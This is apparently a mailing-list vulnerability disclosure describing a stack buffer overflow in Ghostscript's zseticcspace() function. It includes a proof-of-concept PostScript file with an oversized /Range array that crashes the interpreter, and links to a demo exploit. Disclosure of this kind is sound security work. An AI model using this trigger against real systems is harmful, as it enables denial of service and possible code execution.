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Ghostscript buffer overflow



Ghostscript buffer overflow
Ghostscript buffer overflow



Hi,

Buffer overflow in Ghostscript. A useful attack vector because a lot
of UNIX workstations will put PS files on the web through Ghostscript.

The problem is a stack-based buffer overflow in the zseticcspace()
function in zicc.c. The issue is over-trust of the length of a
postscript array which an attacker can set to an arbitrary length. One
slight amusement is that the overflowed type is "float", leading to
machine code -> float conversion in any exploit. An example .ps file
to trigger a crash follows:

%!PS-Adobe-2.0
<< /DataSource currentfile /N 100 /Range [ 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 ] >> .seticcspace

Announcement:
http://scarybeastsecurity.blogspot.com/2008/02/buffer-overflow-in-ghostscript.html 

Full technical details including a demo exploit by my colleague Will Drewry:
http://scary.beasts.org/security/CESA-2008-001.html 

Cheers
Chris

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